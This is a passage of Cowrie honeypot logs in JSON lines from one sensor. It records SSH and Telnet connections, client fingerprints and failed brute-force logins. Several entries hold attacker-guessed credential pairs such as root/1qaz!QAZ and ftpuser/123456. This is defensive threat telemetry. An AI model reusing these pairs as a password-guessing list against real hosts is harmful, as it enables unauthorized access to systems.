SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.413789Z","src_ip":"186.116.56.108","session":"178d05345353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58328,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6aa027c4b34","protocol":"ssh","message":"New connection: 103.75.199.4:58328 (159.203.135.109:22) [session: d6aa027c4b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.600668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.605491Z","src_ip":"103.75.199.4","session":"d6aa027c4b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.698018Z","src_ip":"103.75.199.4","session":"d6aa027c4b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.811858Z","src_ip":"186.116.56.108","session":"178d05345353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:46.975318Z","src_ip":"103.75.199.4","session":"d6aa027c4b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54352,"dst_ip":"10.17.0.5","dst_port":22,"session":"c33c6b99277b","protocol":"ssh","message":"New connection: 43.163.119.215:54352 (10.17.0.5:22) [session: c33c6b99277b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:47.501557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:47.505398Z","src_ip":"43.163.119.215","session":"c33c6b99277b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:47.741724Z","src_ip":"43.163.119.215","session":"c33c6b99277b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:47.907512Z","src_ip":"186.116.56.108","session":"178d05345353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:48.069933Z","src_ip":"103.75.199.4","session":"d6aa027c4b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:48.452466Z","src_ip":"43.163.119.215","session":"c33c6b99277b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:49.692665Z","src_ip":"43.163.119.215","session":"c33c6b99277b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":33818,"dst_ip":"10.17.0.5","dst_port":23,"session":"c59a06a7f997","protocol":"telnet","message":"New connection: 142.93.69.27:33818 (10.17.0.5:23) [session: c59a06a7f997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:50.474622Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":48683,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cb7f9f7e82d","protocol":"ssh","message":"New connection: 162.243.147.237:48683 (159.203.135.109:22) [session: 6cb7f9f7e82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:52.194030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:52.198857Z","src_ip":"162.243.147.237","session":"6cb7f9f7e82d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:52.269043Z","src_ip":"162.243.147.237","session":"6cb7f9f7e82d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hrh","message":"login attempt [root/hrh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:52.583542Z","src_ip":"162.243.147.237","session":"6cb7f9f7e82d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:53.658507Z","src_ip":"162.243.147.237","session":"6cb7f9f7e82d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":38620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f50e2525523","protocol":"ssh","message":"New connection: 43.153.46.75:38620 (159.203.135.109:22) [session: 9f50e2525523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:56.821584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:56.826336Z","src_ip":"43.153.46.75","session":"9f50e2525523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:56.898002Z","src_ip":"43.153.46.75","session":"9f50e2525523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juris","message":"login attempt [root/juris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:57.203743Z","src_ip":"43.153.46.75","session":"9f50e2525523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:58.276450Z","src_ip":"43.153.46.75","session":"9f50e2525523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54358,"dst_ip":"10.17.0.5","dst_port":22,"session":"48052aec4e71","protocol":"ssh","message":"New connection: 43.163.119.215:54358 (10.17.0.5:22) [session: 48052aec4e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:03.295817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:03.308856Z","src_ip":"43.163.119.215","session":"48052aec4e71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:03.544684Z","src_ip":"43.163.119.215","session":"48052aec4e71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:04.240785Z","src_ip":"43.163.119.215","session":"48052aec4e71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:05.475415Z","src_ip":"43.163.119.215","session":"48052aec4e71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46612,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ee85adf1b72","protocol":"ssh","message":"New connection: 103.75.199.4:46612 (159.203.135.109:22) [session: 2ee85adf1b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:08.484609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:08.489856Z","src_ip":"103.75.199.4","session":"2ee85adf1b72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:08.584186Z","src_ip":"103.75.199.4","session":"2ee85adf1b72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:08.856752Z","src_ip":"103.75.199.4","session":"2ee85adf1b72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:09.951541Z","src_ip":"103.75.199.4","session":"2ee85adf1b72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":55376,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f277126c554","protocol":"ssh","message":"New connection: 163.7.9.84:55376 (10.17.0.5:22) [session: 5f277126c554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:21.097385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:21.101606Z","src_ip":"163.7.9.84","session":"5f277126c554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:21.353942Z","src_ip":"163.7.9.84","session":"5f277126c554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ccm-1!@","message":"login attempt [root/ccm-1!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:22.395586Z","src_ip":"163.7.9.84","session":"5f277126c554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:23.652339Z","src_ip":"163.7.9.84","session":"5f277126c554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":52256,"dst_ip":"159.203.135.109","dst_port":22,"session":"fef76af04917","protocol":"ssh","message":"New connection: 154.83.196.237:52256 (159.203.135.109:22) [session: fef76af04917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:27.834073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:27.839160Z","src_ip":"154.83.196.237","session":"fef76af04917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:27.958328Z","src_ip":"154.83.196.237","session":"fef76af04917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:28.450264Z","src_ip":"154.83.196.237","session":"fef76af04917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:29.569112Z","src_ip":"154.83.196.237","session":"fef76af04917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58858,"dst_ip":"159.203.135.109","dst_port":22,"session":"824937d5acc0","protocol":"ssh","message":"New connection: 103.75.199.4:58858 (159.203.135.109:22) [session: 824937d5acc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:30.349356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:30.354940Z","src_ip":"103.75.199.4","session":"824937d5acc0","protocol":"ssh"}
